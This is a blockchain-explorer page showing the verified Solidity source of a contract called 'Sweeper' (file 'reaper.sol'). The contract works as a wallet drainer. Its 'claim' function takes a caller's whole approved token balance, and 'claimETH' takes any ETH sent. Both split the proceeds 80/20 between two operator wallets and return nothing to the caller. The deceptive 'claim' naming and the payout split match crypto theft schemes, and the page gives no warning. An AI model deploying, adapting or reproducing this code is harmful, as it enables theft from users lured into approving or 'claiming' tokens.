Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"reaper.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20 {\r
function balanceOf(address account) external view returns (uint256);\r
function allowance(address owner, address spender) external view returns (uint256);\r
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
\r
contract Sweeper {\r
string public constant name = "Sweeper Contract";\r
string public constant version = "1.0";\r
\r
address public immutable wallet80;\r
address public immutable wallet20;\r
bool private locked;\r
uint256 public constant MAX_CALLS = 10;\r
uint256 private constant GAS_RESERVE = 100000;\r
\r
event Claimed(address indexed user, address indexed token, uint256 amount80, uint256 amount20);\r
event ETHClaimed(address indexed user, uint256 amount80, uint256 amount20);\r
event MulticallExecuted(address indexed user, uint256 callsCount);\r
event ERC20Recovered(address indexed token, address indexed to, uint256 amount);\r
\r
modifier noReentrant() {\r
require(!locked, "Reentrant call");\r
locked = true;\r
_;\r
locked = false;\r
}\r
\r
constructor(address _wallet80, address _wallet20) {\r
require(_wallet80 != address(0), "wallet80 is zero");\r
require(_wallet20 != address(0), "wallet20 is zero");\r
require(_wallet80 != _wallet20, "wallets must differ");\r
wallet80 = _wallet80;\r
wallet20 = _wallet20;\r
}\r
\r
function claim(address token) external noReentrant {\r
IERC20 erc20 = IERC20(token);\r
uint256 balance = erc20.balanceOf(msg.sender);\r
uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));\r
\r
require(balance > 0, "No tokens");\r
require(allowanceAmount >= balance, "Allowance low");\r
\r
uint256 amountToWallet20 = balance * 20 / 100;\r
uint256 amountToWallet80 = balance - amountToWallet20;\r
\r
bool success = erc20.transferFrom(msg.sender, address(this), balance);\r
require(success, "TransferFrom failed");\r
\r
if (amountToWallet80 > 0) {\r
success = erc20.transfer(wallet80, amountToWallet80);\r
require(success, "Transfer to wallet80 failed");\r
}\r
if (amountToWallet20 > 0) {\r
success = erc20.transfer(wallet20, amountToWallet20);\r
require(success, "Transfer to wallet20 failed");\r
}\r
\r
emit Claimed(msg.sender, token, amountToWallet80, amountToWallet20);\r
}\r
\r
function claimETH() external payable noReentrant {\r
require(msg.value > 0, "No ETH sent");\r
\r
uint256 amountToWallet20 = msg.value * 20 / 100;\r
uint256 amountToWallet80 = msg.value - amountToWallet20;\r
\r
(bool sent80, ) = payable(wallet80).call{value: amountToWallet80}("");\r
require(sent80, "Send to wallet80 failed");\r
\r
(bool sent20, ) = payable(wallet20).call{value: amountToWallet20}("");\r
require(sent20, "Send to wallet20 failed");\r
\r
emit ETHClaimed(msg.sender, amountToWallet80, amountToWallet20);\r
}\r
\r
struct Call {\r
address target;\r
bytes callData;\r
}\r
\r
function multicall(Call[] calldata calls) external noReentrant {\r
require(calls.length <= MAX_CALLS, "Too many calls");\r
\r
for (uint256 i = 0; i < calls.length; i++) {\r
(bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);\r
require(success, _errorMessage(i));\r
}\r
\r
emit MulticallExecuted(msg.sender, calls.length);\r
}\r
\r
function recoverERC20(address tokenAddress, uint256 amount) external {\r
require(msg.sender == wallet80 || msg.sender == wallet20, "Not authorized");\r
bool success = IERC20(tokenAddress).transfer(msg.sender, amount);\r
require(success, "Recover failed");\r
emit ERC20Recovered(tokenAddress, msg.sender, amount);\r
}\r
\r
function _errorMessage(uint256 index) internal pure returns (string memory) {\r
return string(abi.encodePacked("Call failed at idx ", _toString(index)));\r
}\r
\r
function _toString(uint256 value) internal pure returns (string memory) {\r
if (value == 0) return "0";\r
uint256 temp = value;\r
uint256 digits;\r
while (temp != 0) {\r
digits++;\r
temp /= 10;\r
}\r
bytes memory buffer = new bytes(digits);\r
while (value != 0) {\r
digits -= 1;\r
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r
value /= 10;\r
}\r
return string(buffer);\r
}\r
\r
receive() external payable {\r
revert("No direct ETH");\r
}\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-01 10:31:40
Comments
Log in to comment.
No comments yet.